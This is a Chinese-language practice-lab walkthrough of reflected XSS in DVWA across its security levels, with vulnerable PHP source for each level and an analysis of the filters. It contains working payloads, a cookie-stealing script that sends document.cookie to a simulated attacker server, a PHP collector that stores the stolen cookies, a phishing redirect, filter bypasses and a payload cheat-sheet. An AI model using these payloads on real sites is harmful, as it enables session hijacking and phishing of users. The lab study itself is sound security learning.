1.low难度下
1.先判断有误XSS漏洞
输入<script>alert(/xss/)</script>
值得注意的是输入 <script>alert(xss)</script> 没有反应
显示如下
恶意url为:http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#
获取cookie
首先在www文件下创建一个名为joke的文件夹(模拟攻击者服务器)
joke.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/joke/joke.php?joke='+encodeURIComponent(document.cookie);
通过创建一张不存在的图片,让图片的地址指向joke.php,并把cookie复制到joke变量里
joke.php
<?php
@ini_set('display_errors',1);
$str = $_GET['joke'];
$filePath = "joke.php";
if(is_writable($filePath)==false){
echo "can't write";
}else{
$handler = fopen(filePath, "a");
fwrite($handler, $str);
fclose($handler);
}
?>
joke.php的作用是把joke变量保存的cookie保存到服务器中
在输入 <script src=http://localhost/joke/joke.js></script>,使得服务器调用joke.js脚本
joke.js再调用joke.php
恶意:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2Flocalhost%2Fjoke%2Fjoke.js%3E%3C%2Fscript%3E#
在服务器中找到了一个记录着cookie的文件
重定向代码<script>window.location='https://www.baidu.com'</script>
恶意url localhost/dvwa/vulnerabilities/xss_r/?name=<script>window.location='https://www.baidu.com'</script>
会重定向到一个钓鱼网站。
源码分析:
Reflected XSS Source
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
直接把用户的输入赋值给了name没有做任何的过滤
2.medium
输入<script>alert(/ss/)</script> 已经失效了
但当输入<sCript>alert(/ss/)</script>却成功了,意味着没有对大小写进行过滤
输入<scRipt src="http://localhost/joke/joke.js"></script>便可能到cookie
恶意url:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3CscRipt+src%3D%22http%3A%2F%2Flocalhost%2Fjoke%2Fjoke.js%22%3E%3C%2Fscript%3E#
源码分析
Reflected XSS Source
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
str_replace(find,replace,string,count)//找到相同的字符串然后赋值
因而当输入<sCript>alert(/ss/)</script>时,无法找到与<script>相匹配的字符串,因而绕过成功
3.high
输入:<script>alert(/ss/)</script>,<sCript>alert(/ss/)</script>,<scr<SCRipt>ipt>alert(/ss/)</script>都失效显示
从这个>中得到提示,似乎只有>没有被过滤
当输入<script>alert(/ss/)</script时提示中没有显示>
当输入<scriptalert(/ss/)</script>时有显示了>
当输入script不会给过滤,也就是说必须是从<开始搜索,搜索到script,则过滤,过滤方法应该是替换成空格
当输入 <script a ,输出了 hello a
当输入<sa 输出hello 空格
当输入<asssss输出hello 空格
当改成大小写结合也一样
则可以猜测是从<开始匹配到t 进行过滤 如果完全匹配到 <script 则全部替换成空格 后面的信息可以输出
当输入<script>alert(/xss/)</script>只输出 > 的原因应该是用到了正则表达式的贪心,会从<开始搜索所有的script只要匹配就置换出空格
当输入 <sa>alert(/xss/)</script> 只输出 hello >就可以更加确信了 使用了正则表达的贪心
源码
Reflected XSS Source
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
preg_replace 函数执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
/i表示不区分大小写,且从/开始匹配,只要匹配到 script中的任一个字符都将自动替换为空格
就算是输入了<aaaaaaaaaas 也会被过滤为空格 并且不区分大小写
自己的思路是把<script 编码
正确思路,虽然 <script>标签被过滤了,但是img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
当输入<img src=""οnerrοr=alert(/xss/)> ,<iframe οnlοad=alert(/xss/)> 都成功跳出
但这一做有一个问题,就是无法<script>标签打开一个js脚本,就没有办法去获取cookie了,那么强大的XSS payload
能否做到呢,到下一章再做探究。
下尝试获取cookie
直接输入<img src="http://localhost/joke/joke.js">,会返回一张不存在的图片
无法打开事先做好的脚本,暂时没有想到打开脚本的办法
4.Impossible
Reflected XSS Source
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。可以说是一种非常可靠的办法,把所有下面的所有字符转换成HTML实体,这样浏览器就不会将其解释并执行了,暂时没找到绕过办法。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
还有常用语句:
<script>alert('店小弎')</script> 最普通的xss代码
<script>alert(document.cookie);</script> 在当前页面弹出cookie
<script src="ls.js"> </script> 外部调用攻击代码ls.js
<script alert('xss')</SCRIPT> 大小写,绕过普通的replace过滤
<script>window.location='123.com'</script> 跳转某页面
当使用了黑名单过滤<script>标签时,使用以下
<img src="javascript:alert('XSS')">
<img src="" οnerrοr=alert("xss")> 加载图像失败执行
<iframe οnlοad=alert('店小弎')> 框架